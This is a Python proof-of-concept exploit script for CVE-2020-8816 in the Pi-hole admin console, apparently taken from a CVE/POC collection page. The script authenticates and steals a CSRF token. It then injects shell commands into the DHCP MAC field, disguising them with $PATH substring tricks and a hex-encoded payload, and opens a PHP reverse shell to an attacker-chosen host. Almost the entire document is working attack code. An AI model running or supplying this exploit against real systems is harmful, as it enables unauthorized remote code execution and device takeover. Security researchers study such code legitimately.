4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2020-8816.py PY
import argparse
import codecs
import re
import requests
import socket
import uuid
from packaging import version

def login(session, url, password):
    print('Logging in...')
    login_error = 'After installing Pi-hole for the first time'
    data = {'pw': password}
    try:
        login_response = session.post(url+'/admin/index.php?login', data=data)
    except requests.exceptions.ConnectionError:
        exit('Unable to connect to server')
    if login_error in login_response.text:
        print('Login failed')
        return False
    else:
        print('Login succeeded')
        return True


def grab_version(session, url):
    try:
        response = session.get(url+'/admin/')
    except requests.exceptions.ConnectionError:
        exit('Unable to connect to server')
    try:
        version = response.text.split('Web Interface Version </b>')[1].split('<b>')[0].strip()
        return version
    except IndexError:
        # default to returning a vulnerable version so the script attempts an exploit
        return 'v4.3.2'

def get_token(session, url):
    try:
        response = session.get(url+'/admin/settings.php?tab=piholedhcp')
    except:
        exit('Unable to connect to server')
    try:
        return response.text.split('token\' hidden>')[1].split('</div>')[0]
    except IndexError:
        exit('Unable to retrieve CSRF token')

def add_dhcp(session, url, payload, token):
    data = {'AddMAC': payload,
            'AddIP': '',
            'AddHostname': str(uuid.uuid4()),
            'addstatic': '',
            'field': 'DHCP',
            'token': token}
    try:
        return session.post(url+'/admin/settings.php?tab=piholedhcp', data=data).text
    except requests.exceptions.ConnectionError:
        exit('Unable to connect to server')
    
def is_vulnerable(session, url, password):
    print('Attempting to verify if Pi-hole version is vulnerable')
    if version.parse(grab_version(session, url)) > version.parse('v4.3.2'):
        return (False, False)
    else:
        if not login(session, url, password):
            exit(-1)
        print('Grabbing CSRF token')
        token = get_token(session, url)
        print('Attempting to read $PATH')
        test = add_dhcp(session, url, 'aaaaaaaaaaaa$PATH', token)
        if '/opt/pihole' in test:
            return (True, True, token)
        elif 'AAAAAAAAAAAA/' in test:
            return (True, False)
        else:
            return (False, False)

def exploit(session, url, payload, token):
    w = 'W=${PATH#/???/}'
    p = 'P=${W%%?????:*}'
    x = 'X=${PATH#/???/??}'
    h = 'H=${X%%???:*}'
    z = 'Z=${PATH#*:/??}'
    r = 'R=${Z%%/*}'
    hex_payload = ''.join(codecs.encode(c.encode(), 'hex').decode('utf-8').upper() for c in payload)
    injection = '&&' + w + '&&' + p + '&&' + x + '&&' + h + '&&' + z + '&&' + r + '&&$P$H$P$IFS-$R$IFS\'EXEC(HEX2BIN("' + hex_payload + '"));\'#'
    print('Sending payload')
    add_dhcp(session, url, 'bbbbbbbbbbbb' + injection, token)

def is_valid_url(url):
    url_regex = re.compile(r'^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)$')
    if url_regex.match(url) != None:
        return True
    else:
        return False

def is_valid_ipv4_address(address):
    try:
        socket.inet_pton(socket.AF_INET, address)
    except AttributeError:
        try:
            socket.inet_aton(address)
        except socket.error:
            return False
        return address.count('.') == 3
    except socket.error:
        return False
    return True

def is_valid_ipv6_address(address):
    try:
        socket.inet_pton(socket.AF_INET6, address)
    except socket.error:
        return False
    return True

def is_valid_port(port):
    try:
        return 1 <= int(port) <= 65535
    except ValueError:
        return False

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Receive a reverse shell on a Pi-hole with access to the admin web console')
    parser.add_argument('url', metavar='url', type=str, help='The URL of the Pi-hole console')
    parser.add_argument('pw', metavar='password', type=str, help='The admin password for the Pi-hole console')
    parser.add_argument('ip', metavar='ip', type=str, help='The IP address for the reverse shell to connect to')
    parser.add_argument('port', metavar='port', type=str, help='The port for the reverse shell to connect to')
    args = parser.parse_args()
    if not is_valid_url(args.url):
        exit('Invalid URL')
    elif not is_valid_ipv4_address(args.ip) and not is_valid_ipv6_address(args.ip):
        exit('Invalid IP')
    elif not is_valid_port(args.port):
        exit('Invalid port')
    shell = 'php -r \'$sock=fsockopen("' + args.ip + '",' + args.port + ');exec("/bin/sh -i <&3 >&3 2>&3");\''
    s = requests.Session()
    test = is_vulnerable(s, args.url, args.pw)
    if test[0]:
        if test[1]:
            print('Pihole is vulnerable and served\'s $PATH allows PHP')
            exploit(s, args.url, shell, test[2])
        else:
            print('Pihole is vulnerable but can\'t build PHP from server\'s $PATH for RCE :(')
    else:
        print('Pihole isn\'t vulnerable :(')